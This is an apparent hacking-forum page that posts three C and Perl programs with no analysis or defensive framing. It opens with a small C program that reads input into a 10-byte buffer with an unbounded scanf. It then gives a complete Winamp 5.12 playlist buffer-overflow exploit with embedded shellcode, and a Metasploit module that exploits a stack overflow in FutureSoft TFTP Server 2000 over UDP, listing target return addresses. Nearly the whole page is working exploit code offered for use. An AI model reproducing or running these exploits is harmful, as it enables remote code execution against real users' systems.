منتديات القرصان

#include<stdio.h>
#include<string.h>
main()
{
char a [10] ; 
printf ("enter a: ") ; 
scanf ("%s",a) ; 
printf ("coded by shaja %s ", a) ; 
}

#include <windows.h>
#include <stdio.h>
 
#define BUF_LEN 0x045D
#define PLAYLIST_FILE "crafted.pls"
 
char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
char szPlayListHeader2[] = "\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";
 
// Jump to shellcode
char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";
 
// Harmless cmd.exe
char shellcode[] =
"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
"\x61\xdd\x0e\x4d";
 
 
int main(int argc,char *argv[])
{
printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
printf("\nBug discovered & exploit coded by ATmaCA");
printf("\nWeb: Spyinstructors.com - Proagent Resources and Information.This website is for sale! && http://www.atmacasoft.com");
printf("\nE-Mail: atmaca@icqmail.com");
printf("\nCredit to Kozan");
 
FILE *File;
char *pszBuffer;
 
if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
 
printf("\n [Err:] fopen()");
exit(1);
}
 
pszBuffer = (char*)malloc(BUF_LEN);
memset(pszBuffer,0x90,BUF_LEN);
memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);
 
fwrite(pszBuffer, BUF_LEN, 1,File);
fclose(File);
 
printf("\n\n" PLAYLIST_FILE " has been created in the current directory.\n");
return 1;
}

 
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
 
package Msf::Exploit::futuresoft_tftpd;
use base "Msf::Exploit";
use strict;
use Pex::Text;
 
my $advanced = { };
 
my $info =
{
 
'Name' => 'FutureSoft TFTP Server 2000 Buffer Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'y0 [at] w00t-shell.net', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
'Priv' => 0,
 
'AutoOpts' => { 'EXITFUNC' => 'process' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 69],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
 
'Payload' =>
{
'Space' => 350,
'BadChars' => "\x00",
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
'Keys' => ['+ws2ord'],
},
 
'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the FutureSoft TFTP Server
2000 product. By sending an overly long transfer-mode string, we were able
to overwrite both the SEH and the saved EIP. A subsequent write-exception 
that will occur allows the transferring of execution to our shellcode 
via the overwritten SEH. This module has been tested against Windows
2000 Professional and for some reason does not seem to work against 
Windows 2000 Server (could not trigger the overflow at all).
}),
 
'Refs' =>
[
['CVE', '2005-1812'],
['BID', '13821'],
['URL', 'SIG^2 G-TEC - FutureSoft TFTP Server 2000 Buffer Overflow and Directory Traversal Vulnerabilities'],
],
 
'Targets' =>
[
['Windows 2000 Pro English ALL', 0x75022ac4], # ws2help.dll
['Windows XP Pro SP0/SP1 English', 0x71aa32ad], # ws2help.dll
['Windows NT SP5/SP6a English', 0x776a1799], # ws2help.dll
['Windows 2003 Server English', 0x7ffc0638], # PEB return
],
'Keys' => ['tftpd'],
};
 
sub new{
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
 
sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
 
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}
 
my $splat = Pex::Text::AlphaNumText(142);
 
my $sploit =
"\x00\x01". "metasploit.txt". "\x00". $splat.
"\xeb\x06". pack('V', $target->[1]).
$shellcode. "\x00";
 
$self->PrintLine(sprintf("[*] Trying to exploit target %s w/ return 0x%.8x", 
$target->[0], $target->[1]));
 
my $s = Msf::Socket::Udp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
 
$s->Send($sploit);
$self->Handler($s);
$s->Close();
return;
}